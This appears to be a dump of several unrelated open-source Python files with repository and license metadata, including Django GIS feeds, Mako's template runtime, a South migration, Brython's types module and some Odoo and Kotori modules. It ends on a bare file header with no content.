self.get_plain_text_edit_field(text_edit="input_free_text", expected_type=str) def get_plain_text_edit_field(self, text_edit, expected_type): gui_element = getattr(self, text_edit) value_as_string = gui_element.toPlainText() return expected_type(value_as_string) if value_as_string else '' def check_placeholder_text(self): if not self.free_text_edited: self.free_text_edited = True self.input_free_text.setPlainText("") def launch_privacy_policy(self, link): self.interface_manager.showWebPage(link) def set_button_status(self): if self.input_text == '' and not self.input_name and not self.input_email: self.nonIDShareButton.setEnabled(True) else: self.nonIDShareButton.setEnabled(False) def display_message_box(self, title, message, details): msg = QMessageBox(self) msg.setIcon(QMessageBox.Warning) msg.setText(message) msg.setWindowTitle(title) msg.setDetailedText(details) msg.setStandardButtons(QMessageBox.Ok) msg.setDefaultButton(QMessageBox.Ok) msg.setEscapeButton(QMessageBox.Ok) msg.exec_() def display_more_details(self, user_information_text, stacktrace_text): self.details_dialog.set_stacktrace_text(stacktrace_text) self.details_dialog.set_user_text(user_information_text) self.details_dialog.show() def set_report_callback(self, callback): self.action.connect(callback) @property def input_name(self): return self.get_simple_line_edit_field(line_edit="input_name_line_edit", expected_type=str) @property def input_email(self): return self.get_simple_line_edit_field(line_edit="input_email_line_edit", expected_type=str) @property def continue_working(self): return self.radioButtonContinue.isChecked()
gpl-3.0
zerotired/kotori
kotori/vendor/luftdaten/application.py
2
4013
# -*- coding: utf-8 -*- # (c) 2017 Andreas Motl <[email protected]> import json from pkg_resources import resource_filename from jinja2 import Template from twisted.logger import Logger from grafana_api_client import GrafanaPreconditionFailedError, GrafanaClientError from kotori.daq.services.mig import MqttInfluxGrafanaService from kotori.daq.graphing.grafana.manager import GrafanaManager from kotori.daq.storage.influx import InfluxDBAdapter log = Logger() class LuftdatenGrafanaManager(GrafanaManager): def __init__(self, *args, **kwargs): GrafanaManager.__init__(self, *args, **kwargs) self.tpl_dashboard_map = self.get_template('grafana-map.json') self.tpl_dashboard_location = self.get_template('grafana-by-location.json') def get_template(self, filename): return Template(file(resource_filename('kotori.vendor.luftdaten', filename)).read().decode('utf-8')) def provision(self, storage_location, message, topology): topology = topology or {} dashboard_name = self.strategy.topology_to_label(topology) # The identity information of this provisioning process signature = (storage_location.database, storage_location.measurement) whoami = 'dashboard "{dashboard_name}" for database "{database}" and measurement "{measurement}"'.format( dashboard_name=dashboard_name, database=storage_location.database, measurement=storage_location.measurement) # Skip dashboard creation if it already has been created while Kotori is running # TODO: Improve locking to prevent race conditions. if self.keycache.exists(*signature): log.debug('Data signature not changed, skip update of {whoami}', whoami=whoami) return log.info('Provisioning Grafana {whoami}', whoami=whoami) # Create a Grafana datasource object for designated database self.create_datasource(storage_location) # Create appropriate Grafana dashboard data_dashboard = { 'database': storage_location.database, 'measurement': storage_location.measurement, 'measurement_events': storage_location.measurement_events, } dashboard_json_map = self.tpl_dashboard_map.render(data_dashboard, title='{name} map'.format(name=dashboard_name)) dashboard_json_location = self.tpl_dashboard_location.render(data_dashboard, title='{name} by-location'.format(name=dashboard_name)) # Get or create Grafana folder for stuffing all instant dashboards into folder = self.grafana_api.ensure_instant_folder() folder_id = folder and folder.get('id') or None for dashboard_json in [dashboard_json_map, dashboard_json_location]: try: log.info('Creating/updating dashboard "{}"'.format(dashboard_name)) response = self.grafana_api.grafana_client.dashboards.db.create( folderId=folder_id, dashboard=json.loads(dashboard_json), overwrite=True) log.info(u'Grafana response: {response}', response=json.dumps(response)) except GrafanaPreconditionFailedError as ex: if 'name-exists' in ex.message or 'A dashboard with the same name already exists' in ex.message: log.warn(ex.message) else: log.error('Grafana Error: {ex}', ex=ex.message) except GrafanaClientError as ex: log.error('Grafana Error: {ex}', ex=ex.message) # Remember dashboard/panel creation for this kind of data inflow self.keycache.set(storage_location.database, storage_location.measurement) class LuftdatenMqttInfluxGrafanaService(MqttInfluxGrafanaService): def setupService(self): MqttInfluxGrafanaService.setupService(self) self.settings.influxdb.use_udp = True self.settings.influxdb.udp_port = 4445 self.influx = InfluxDBAdapter(settings = self.settings.influxdb)
agpl-3.0
leopittelli/Django-on-App-Engine-Example
django/contrib/gis/feeds.py
225
5932
from __future__ import unicode_literals from django.contrib.syndication.views import Feed as BaseFeed from django.utils.feedgenerator import Atom1Feed, Rss201rev2Feed class GeoFeedMixin(object): """ This mixin provides the necessary routines for SyndicationFeed subclasses to produce simple GeoRSS or W3C Geo elements. """ def georss_coords(self, coords): """ In GeoRSS coordinate pairs are ordered by lat/lon and separated by a single white space. Given a tuple of coordinates, this will return a unicode GeoRSS representation. """ return ' '.join(['%f %f' % (coord[1], coord[0]) for coord in coords]) def add_georss_point(self, handler, coords, w3c_geo=False): """ Adds a GeoRSS point with the given coords using the given handler. Handles the differences between simple GeoRSS and the more pouplar W3C Geo specification. """ if w3c_geo: lon, lat = coords[:2] handler.addQuickElement('geo:lat', '%f' % lat) handler.addQuickElement('geo:lon', '%f' % lon) else: handler.addQuickElement('georss:point', self.georss_coords((coords,))) def add_georss_element(self, handler, item, w3c_geo=False): """ This routine adds a GeoRSS XML element using the given item and handler. """ # Getting the Geometry object. geom = item.get('geometry', None) if not geom is None: if isinstance(geom, (list, tuple)): # Special case if a tuple/list was passed in. The tuple may be # a point or a box box_coords = None if isinstance(geom[0], (list, tuple)): # Box: ( (X0, Y0), (X1, Y1) ) if len(geom) == 2: box_coords = geom else: raise ValueError('Only should be two sets of coordinates.') else: if len(geom) == 2: # Point: (X, Y) self.add_georss_point(handler, geom, w3c_geo=w3c_geo) elif len(geom) == 4: # Box: (X0, Y0, X1, Y1) box_coords = (geom[:2], geom[2:]) else: raise ValueError('Only should be 2 or 4 numeric elements.') # If a GeoRSS box was given via tuple. if not box_coords is None: if w3c_geo: raise ValueError('Cannot use simple GeoRSS box in W3C Geo feeds.') handler.addQuickElement('georss:box', self.georss_coords(box_coords)) else: # Getting the lower-case geometry type. gtype = str(geom.geom_type).lower() if gtype == 'point': self.add_georss_point(handler, geom.coords, w3c_geo=w3c_geo) else: if w3c_geo: raise ValueError('W3C Geo only supports Point geometries.') # For formatting consistent w/the GeoRSS simple standard: # http://georss.org/1.0#simple if gtype in ('linestring', 'linearring'): handler.addQuickElement('georss:line', self.georss_coords(geom.coords)) elif gtype in ('polygon',): # Only support the exterior ring. handler.addQuickElement('georss:polygon', self.georss_coords(geom[0].coords)) else: raise ValueError('Geometry type "%s" not supported.' % geom.geom_type) ### SyndicationFeed subclasses ### class GeoRSSFeed(Rss201rev2Feed, GeoFeedMixin): def rss_attributes(self): attrs = super(GeoRSSFeed, self).rss_attributes() attrs['xmlns:georss'] = 'http://www.georss.org/georss' return attrs def add_item_elements(self, handler, item): super(GeoRSSFeed, self).add_item_elements(handler, item) self.add_georss_element(handler, item) def add_root_elements(self, handler): super(GeoRSSFeed, self).add_root_elements(handler) self.add_georss_element(handler, self.feed) class GeoAtom1Feed(Atom1Feed, GeoFeedMixin): def root_attributes(self): attrs = super(GeoAtom1Feed, self).root_attributes() attrs['xmlns:georss'] = 'http://www.georss.org/georss' return attrs def add_item_elements(self, handler, item): super(GeoAtom1Feed, self).add_item_elements(handler, item) self.add_georss_element(handler, item) def add_root_elements(self, handler): super(GeoAtom1Feed, self).add_root_elements(handler) self.add_georss_element(handler, self.feed) class W3CGeoFeed(Rss201rev2Feed, GeoFeedMixin): def rss_attributes(self): attrs = super(W3CGeoFeed, self).rss_attributes() attrs['xmlns:geo'] = 'http://www.w3.org/2003/01/geo/wgs84_pos#' return attrs def add_item_elements(self, handler, item): super(W3CGeoFeed, self).add_item_elements(handler, item) self.add_georss_element(handler, item, w3c_geo=True) def add_root_elements(self, handler): super(W3CGeoFeed, self).add_root_elements(handler) self.add_georss_element(handler, self.feed, w3c_geo=True) ### Feed subclass ### class Feed(BaseFeed): """ This is a subclass of the `Feed` from `django.contrib.syndication`. This allows users to define a `geometry(obj)` and/or `item_geometry(item)` methods on their own subclasses so that geo-referenced information may placed in the feed. """ feed_type = GeoRSSFeed def feed_extra_kwargs(self, obj): return {'geometry' : self.__get_dynamic_attr('geometry', obj)} def item_extra_kwargs(self, item): return {'geometry' : self.__get_dynamic_attr('item_geometry', item)}
mit
jokajak/itweb
data/env/lib/python2.6/site-packages/Mako-0.3.4-py2.6.egg/mako/runtime.py
21
17576
# runtime.py # Copyright (C) 2006, 2007, 2008, 2009, 2010 Michael Bayer [email protected] # # This module is part of Mako and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """provides runtime services for templates, including Context, Namespace, and various helper functions.""" from mako import exceptions, util import __builtin__, inspect, sys class Context(object): """provides runtime namespace, output buffer, and various callstacks for templates.""" def __init__(self, buffer, **data): self._buffer_stack = [buffer] self._orig = data # original data, minus the builtins self._data = __builtin__.__dict__.copy() # the context data which includes builtins self._data.update(data) self._kwargs = data.copy() self._with_template = None self._outputting_as_unicode = None self.namespaces = {} # "capture" function which proxies to the generic "capture" function self._data['capture'] = lambda x, *args, **kwargs: capture(self, x, *args, **kwargs) # "caller" stack used by def calls with content self.caller_stack = self._data['caller'] = CallerStack() @property def lookup(self): return self._with_template.lookup @property def kwargs(self): return self._kwargs.copy() def push_caller(self, caller): self.caller_stack.append(caller) def pop_caller(self): del self.caller_stack[-1] def keys(self): return self._data.keys() def __getitem__(self, key): return self._data[key] def _push_writer(self): """push a capturing buffer onto this Context and return the new Writer function.""" buf = util.FastEncodingBuffer() self._buffer_stack.append(buf) return buf.write def _pop_buffer_and_writer(self): """pop the most recent capturing buffer from this Context and return the current writer after the pop. """ buf = self._buffer_stack.pop() return buf, self._buffer_stack[-1].write def _push_buffer(self): """push a capturing buffer onto this Context.""" self._push_writer() def _pop_buffer(self): """pop the most recent capturing buffer from this Context.""" return self._buffer_stack.pop() def get(self, key, default=None): return self._data.get(key, default) def write(self, string): """write a string to this Context's underlying output buffer.""" self._buffer_stack[-1].write(string) def writer(self): """return the current writer function""" return self._buffer_stack[-1].write def _copy(self): c = Context.__new__(Context) c._buffer_stack = self._buffer_stack c._data = self._data.copy() c._orig = self._orig c._kwargs = self._kwargs c._with_template = self._with_template c._outputting_as_unicode = self._outputting_as_unicode c.namespaces = self.namespaces c.caller_stack = self.caller_stack return c def locals_(self, d): """create a new Context with a copy of this Context's current state, updated with the given dictionary.""" if len(d) == 0: return self c = self._copy() c._data.update(d) return c def _clean_inheritance_tokens(self): """create a new copy of this Context with tokens related to inheritance state removed.""" c = self._copy() x = c._data x.pop('self', None) x.pop('parent', None) x.pop('next', None) return c class CallerStack(list): def __init__(self): self.nextcaller = None def __nonzero__(self): return self._get_caller() and True or False def _get_caller(self): return self[-1] def __getattr__(self, key): return getattr(self._get_caller(), key) def _push_frame(self): self.append(self.nextcaller or None) self.nextcaller = None def _pop_frame(self): self.nextcaller = self.pop() class Undefined(object): """represents an undefined value in a template.""" def __str__(self): raise NameError("Undefined") def __nonzero__(self): return False UNDEFINED = Undefined() class _NSAttr(object): def __init__(self, parent): self.__parent = parent def __getattr__(self, key): ns = self.__parent while ns: if hasattr(ns.module, key): return getattr(ns.module, key) else: ns = ns.inherits raise AttributeError(key) class Namespace(object): """provides access to collections of rendering methods, which can be local, from other templates, or from imported modules""" def __init__(self, name, context, module=None, template=None, templateuri=None, callables=None, inherits=None, populate_self=True, calling_uri=None): self.name = name if module is not None: mod = __import__(module) for token in module.split('.')[1:]: mod = getattr(mod, token) self._module = mod else: self._module = None if templateuri is not None: self.template = _lookup_template(context, templateuri, calling_uri) self._templateuri = self.template.module._template_uri else: self.template = template if self.template is not None: self._templateuri = self.template.module._template_uri self.context = context self.inherits = inherits if callables is not None: self.callables = dict([(c.func_name, c) for c in callables]) else: self.callables = None if populate_self and self.template is not None: (lclcallable, lclcontext) = _populate_self_namespace(context, self.template, self_ns=self) @property def module(self): return self._module or self.template.module @property def filename(self): if self._module: return self._module.__file__ else: return self.template.filename @property def uri(self): return self.template.uri @property def attr(self): if not hasattr(self, '_attr'): self._attr = _NSAttr(self) return self._attr def get_namespace(self, uri): """return a namespace corresponding to the given template uri. if a relative uri, it is adjusted to that of the template of this namespace""" key = (self, uri) if self.context.namespaces.has_key(key): return self.context.namespaces[key] else: ns = Namespace(uri, self.context._copy(), templateuri=uri, calling_uri=self._templateuri) self.context.namespaces[key] = ns return ns def get_template(self, uri): return _lookup_template(self.context, uri, self._templateuri) def get_cached(self, key, **kwargs): if self.template: if not self.template.cache_enabled: createfunc = kwargs.get('createfunc', None) if createfunc: return createfunc() else: return None if self.template.cache_dir: kwargs.setdefault('data_dir', self.template.cache_dir) if self.template.cache_type: kwargs.setdefault('type', self.template.cache_type) if self.template.cache_url: kwargs.setdefault('url', self.template.cache_url) return self.cache.get(key, **kwargs) @property def cache(self): return self.template.cache def include_file(self, uri, **kwargs): """include a file at the given uri""" _include_file(self.context, uri, self._templateuri, **kwargs) def _populate(self, d, l): for ident in l: if ident == '*': for (k, v) in self._get_star(): d[k] = v else: d[ident] = getattr(self, ident) def _get_star(self): if self.callables: for key in self.callables: yield (key, self.callables[key]) if self.template: def get(key): callable_ = self.template._get_def_callable(key) return lambda *args, **kwargs:callable_(self.context, *args, **kwargs) for k in self.template.module._exports: yield (k, get(k)) if self._module: def get(key): callable_ = getattr(self._module, key) return lambda *args, **kwargs:callable_(self.context, *args, **kwargs) for k in dir(self._module): if k[0] != '_': yield (k, get(k)) def __getattr__(self, key): if self.callables and key in self.callables: return self.callables[key] if self.template and self.template.has_def(key): callable_ = self.template._get_def_callable(key) return lambda *args, **kwargs:callable_(self.context, *args, **kwargs) if self._module and hasattr(self._module, key): callable_ = getattr(self._module, key) return lambda *args, **kwargs:callable_(self.context, *args, **kwargs) if self.inherits is not None: return getattr(self.inherits, key) raise AttributeError("Namespace '%s' has no member '%s'" % (self.name, key)) def supports_caller(func): """apply a caller_stack compatibility decorator to a plain Python function.""" def wrap_stackframe(context, *args, **kwargs): context.caller_stack._push_frame() try: return func(context, *args, **kwargs) finally: context.caller_stack._pop_frame() return wrap_stackframe def capture(context, callable_, *args, **kwargs): """execute the given template def, capturing the output into a buffer.""" if not callable(callable_): raise exceptions.RuntimeException( "capture() function expects a callable as " "its argument (i.e. capture(func, *args, **kwargs))" ) context._push_buffer() try: callable_(*args, **kwargs) finally: buf = context._pop_buffer() return buf.getvalue() def _decorate_toplevel(fn): def decorate_render(render_fn): def go(context, *args, **kw): def y(*args, **kw): return render_fn(context, *args, **kw) try: y.__name__ = render_fn.__name__[7:] except TypeError: # < Python 2.4 pass return fn(y)(context, *args, **kw) return go return decorate_render def _decorate_inline(context, fn): def decorate_render(render_fn): dec = fn(render_fn) def go(*args, **kw): return dec(context, *args, **kw) return go return decorate_render def _include_file(context, uri, calling_uri, **kwargs): """locate the template from the given uri and include it in the current output.""" template = _lookup_template(context, uri, calling_uri) (callable_, ctx) = _populate_self_namespace(context._clean_inheritance_tokens(), template) callable_(ctx, **_kwargs_for_include(callable_, context._orig, **kwargs)) def _inherit_from(context, uri, calling_uri): """called by the _inherit method in template modules to set up the inheritance chain at the start of a template's execution.""" if uri is None: return None template = _lookup_template(context, uri, calling_uri) self_ns = context['self'] ih = self_ns while ih.inherits is not None: ih = ih.inherits lclcontext = context.locals_({'next':ih}) ih.inherits = Namespace("self:%s" % template.uri, lclcontext, template = template, populate_self=False) context._data['parent'] = lclcontext._data['local'] = ih.inherits callable_ = getattr(template.module, '_mako_inherit', None) if callable_ is not None: ret = callable_(template, lclcontext) if ret: return ret gen_ns = getattr(template.module, '_mako_generate_namespaces', None) if gen_ns is not None: gen_ns(context) return (template.callable_, lclcontext) def _lookup_template(context, uri, relativeto): lookup = context._with_template.lookup if lookup is None: raise exceptions.TemplateLookupException("Template '%s' has no TemplateLookup associated" % context._with_template.uri) uri = lookup.adjust_uri(uri, relativeto) try: return lookup.get_template(uri) except exceptions.TopLevelLookupException, e: raise exceptions.TemplateLookupException(str(e)) def _populate_self_namespace(context, template, self_ns=None): if self_ns is None: self_ns = Namespace('self:%s' % template.uri, context, template=template, populate_self=False) context._data['self'] = context._data['local'] = self_ns if hasattr(template.module, '_mako_inherit'): ret = template.module._mako_inherit(template, context) if ret: return ret return (template.callable_, context) def _render(template, callable_, args, data, as_unicode=False): """create a Context and return the string output of the given template and template callable.""" if as_unicode: buf = util.FastEncodingBuffer(unicode=True) elif template.output_encoding: buf = util.FastEncodingBuffer( unicode=as_unicode, encoding=template.output_encoding, errors=template.encoding_errors) else: buf = util.StringIO() context = Context(buf, **data) context._outputting_as_unicode = as_unicode context._with_template = template _render_context(template, callable_, context, *args, **_kwargs_for_callable(callable_, data)) return context._pop_buffer().getvalue() def _kwargs_for_callable(callable_, data): argspec = inspect.getargspec(callable_) # for normal pages, **pageargs is usually present if argspec[2]: return data # for rendering defs from the top level, figure out the args namedargs = argspec[0] + [v for v in argspec[1:3] if v is not None] kwargs = {} for arg in namedargs: if arg != 'context' and arg in data and arg not in kwargs: kwargs[arg] = data[arg] return kwargs def _kwargs_for_include(callable_, data, **kwargs): argspec = inspect.getargspec(callable_) namedargs = argspec[0] + [v for v in argspec[1:3] if v is not None] for arg in namedargs: if arg != 'context' and arg in data and arg not in kwargs: kwargs[arg] = data[arg] return kwargs def _render_context(tmpl, callable_, context, *args, **kwargs): import mako.template as template # create polymorphic 'self' namespace for this template with possibly updated context if not isinstance(tmpl, template.DefTemplate): # if main render method, call from the base of the inheritance stack (inherit, lclcontext) = _populate_self_namespace(context, tmpl) _exec_template(inherit, lclcontext, args=args, kwargs=kwargs) else: # otherwise, call the actual rendering method specified (inherit, lclcontext) = _populate_self_namespace(context, tmpl.parent) _exec_template(callable_, context, args=args, kwargs=kwargs) def _exec_template(callable_, context, args=None, kwargs=None): """execute a rendering callable given the callable, a Context, and optional explicit arguments the contextual Template will be located if it exists, and the error handling options specified on that Template will be interpreted here. """ template = context._with_template if template is not None and (template.format_exceptions or template.error_handler): error = None try: callable_(context, *args, **kwargs) except Exception, e: _render_error(template, context, e) except: e = sys.exc_info()[0] _render_error(template, context, e) else: callable_(context, *args, **kwargs) def _render_error(template, context, error): if template.error_handler: result = template.error_handler(context, error) if not result: raise error else: error_template = exceptions.html_error_template() if context._outputting_as_unicode: context._buffer_stack[:] = [util.FastEncodingBuffer(unicode=True)] else: context._buffer_stack[:] = [util.FastEncodingBuffer( error_template.output_encoding, error_template.encoding_errors)] context._with_template = error_template error_template.render_context(context, error=error)
gpl-3.0
dkubiak789/odoo
addons/product/report/__init__.py
452
1080
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import product_pricelist # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
LagunaJS/Midori
django_comments/south_migrations/0001_initial.py
11
7979
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models from django.contrib.auth import get_user_model User = get_user_model() user_orm_label = '%s.%s' % (User._meta.app_label, User._meta.object_name) user_model_label = '%s.%s' % (User._meta.app_label, User._meta.module_name) class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Comment' db.create_table('django_comments', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('content_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='content_type_set_for_comment', to=orm['contenttypes.ContentType'])), ('object_pk', self.gf('django.db.models.fields.TextField')()), ('site', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['sites.Site'])), ('user', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='comment_comments', null=True, to=orm[user_orm_label])), ('user_name', self.gf('django.db.models.fields.CharField')(max_length=50, blank=True)), ('user_email', self.gf('django.db.models.fields.EmailField')(max_length=75, blank=True)), ('user_url', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)), ('comment', self.gf('django.db.models.fields.TextField')(max_length=3000)), ('submit_date', self.gf('django.db.models.fields.DateTimeField')(default=None)), ('ip_address', self.gf('django.db.models.fields.GenericIPAddressField')(max_length=39, null=True, blank=True)), ('is_public', self.gf('django.db.models.fields.BooleanField')(default=True)), ('is_removed', self.gf('django.db.models.fields.BooleanField')(default=False)), )) db.send_create_signal(u'django_comments', ['Comment']) # Adding model 'CommentFlag' db.create_table('django_comment_flags', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('user', self.gf('django.db.models.fields.related.ForeignKey')(related_name='comment_flags', to=orm[user_orm_label])), ('comment', self.gf('django.db.models.fields.related.ForeignKey')(related_name='flags', to=orm['django_comments.Comment'])), ('flag', self.gf('django.db.models.fields.CharField')(max_length=30, db_index=True)), ('flag_date', self.gf('django.db.models.fields.DateTimeField')(default=None)), )) db.send_create_signal(u'django_comments', ['CommentFlag']) # Adding unique constraint on 'CommentFlag', fields ['user', 'comment', 'flag'] db.create_unique('django_comment_flags', ['user_id', 'comment_id', 'flag']) def backwards(self, orm): # Removing unique constraint on 'CommentFlag', fields ['user', 'comment', 'flag'] db.delete_unique('django_comment_flags', ['user_id', 'comment_id', 'flag']) # Deleting model 'Comment' db.delete_table('django_comments') # Deleting model 'CommentFlag' db.delete_table('django_comment_flags') models = { u'auth.group': { 'Meta': {'object_name': 'Group'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, u'auth.permission': { 'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, user_model_label: { 'Meta': {'object_name': User.__name__, 'db_table': "'{}'".format(User._meta.db_table)}, User._meta.pk.attname: ('django.db.models.fields.AutoField', [], {'primary_key': 'True', 'db_column': "'{}'".format(User._meta.pk.column)}), }, u'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, u'django_comments.comment': { 'Meta': {'ordering': "('submit_date',)", 'object_name': 'Comment', 'db_table': "'django_comments'"}, 'comment': ('django.db.models.fields.TextField', [], {'max_length': '3000'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'content_type_set_for_comment'", 'to': u"orm['contenttypes.ContentType']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'ip_address': ('django.db.models.fields.GenericIPAddressField', [], {'max_length': '39', 'null': 'True', 'blank': 'True'}), 'is_public': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_removed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'object_pk': ('django.db.models.fields.TextField', [], {}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['sites.Site']"}), 'submit_date': ('django.db.models.fields.DateTimeField', [], {'default': 'None'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'comment_comments'", 'null': 'True', 'to': u"orm['{}']".format(user_orm_label)}), 'user_email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'user_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'blank': 'True'}), 'user_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}) }, u'django_comments.commentflag': { 'Meta': {'unique_together': "[('user', 'comment', 'flag')]", 'object_name': 'CommentFlag', 'db_table': "'django_comment_flags'"}, 'comment': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'flags'", 'to': u"orm['django_comments.Comment']"}), 'flag': ('django.db.models.fields.CharField', [], {'max_length': '30', 'db_index': 'True'}), 'flag_date': ('django.db.models.fields.DateTimeField', [], {'default': 'None'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'comment_flags'", 'to': u"orm['{}']".format(user_orm_label)}) }, u'sites.site': { 'Meta': {'ordering': "(u'domain',)", 'object_name': 'Site', 'db_table': "u'django_site'"}, 'domain': ('django.db.models.fields.CharField', [], {'max_length': '100'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) } } complete_apps = ['django_comments']
mit
40223250/2015cd_midterm-
static/Brython3.1.1-20150328-091302/Lib/types.py
756
3167
""" Define names for built-in types that aren't directly accessible as a builtin. """ import sys # Iterators in Python aren't a matter of type but of protocol. A large # and changing number of builtin types implement *some* flavor of # iterator. Don't check the type! Use hasattr to check for both # "__iter__" and "__next__" attributes instead. def _f(): pass FunctionType = type(_f) LambdaType = type(lambda: None) # Same as FunctionType CodeType = type(_f.__code__) MappingProxyType = type(type.__dict__) SimpleNamespace = type(sys.implementation) def _g(): yield 1 GeneratorType = type(_g()) class _C: def _m(self): pass MethodType = type(_C()._m) BuiltinFunctionType = type(len) BuiltinMethodType = type([].append) # Same as BuiltinFunctionType ModuleType = type(sys) try: raise TypeError except TypeError: tb = sys.exc_info()[2] TracebackType = type(tb) FrameType = type(tb.tb_frame) tb = None; del tb # For Jython, the following two types are identical GetSetDescriptorType = type(FunctionType.__code__) MemberDescriptorType = type(FunctionType.__globals__) del sys, _f, _g, _C, # Not for export # Provide a PEP 3115 compliant mechanism for class creation def new_class(name, bases=(), kwds=None, exec_body=None): """Create a class object dynamically using the appropriate metaclass.""" meta, ns, kwds = prepare_class(name, bases, kwds) if exec_body is not None: exec_body(ns) return meta(name, bases, ns, **kwds) def prepare_class(name, bases=(), kwds=None): """Call the __prepare__ method of the appropriate metaclass. Returns (metaclass, namespace, kwds) as a 3-tuple *metaclass* is the appropriate metaclass *namespace* is the prepared class namespace *kwds* is an updated copy of the passed in kwds argument with any 'metaclass' entry removed. If no kwds argument is passed in, this will be an empty dict. """ if kwds is None: kwds = {} else: kwds = dict(kwds) # Don't alter the provided mapping if 'metaclass' in kwds: meta = kwds.pop('metaclass') else: if bases: meta = type(bases[0]) else: meta = type if isinstance(meta, type): # when meta is a type, we first determine the most-derived metaclass # instead of invoking the initial candidate directly meta = _calculate_meta(meta, bases) if hasattr(meta, '__prepare__'): ns = meta.__prepare__(name, bases, **kwds) else: ns = {} return meta, ns, kwds def _calculate_meta(meta, bases): """Calculate the most derived metaclass.""" winner = meta for base in bases: base_meta = type(base) if issubclass(winner, base_meta): continue if issubclass(base_meta, winner): winner = base_meta continue # else: raise TypeError("metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases") return winner
gpl-3.0
ClearCorp/odoo-clearcorp
TODO-9.0/project_event/resource.py
3
2336
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Addons modules by CLEARCORP S.A. # Copyright (C) 2009-TODAY CLEARCORP S.A. (<http://clearcorp.co.cr>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp import models, fields, api class Resource(models.Model): _name= 'project.event.resource' _inherits = {'resource.resource': 'resource_id'} @api.onchange('resource_type') def onchange_resource_type(self): self.unlimited = False @api.multi def name_get(self): result = [] for resource in self: if resource.code: result.append((resource.id, "[%s] - %s" % (resource.code, resource.name or ''))) else: result.append((resource.id, "%s" % resource.name or '')) return result @api.model def name_search(self, name, args=None, operator='ilike', limit=100): args = args or [] recs = self.browse() if name: recs = self.search([('code', operator, name)] + args, limit=limit) if not recs: recs = self.search([('name', operator, name)] + args, limit=limit) return recs.name_get() unlimited = fields.Boolean('Unlimited', help='This resource is able to ' 'be scheduled in many events at the same time') category_id = fields.Many2one('project.event.resource.category', string='Category') resource_id = fields.Many2one('resource.resource', string='Resource', ondelete='cascade', required=True)
agpl-3.0
lgandx/Responder
tools/MultiRelay.py
1
39626
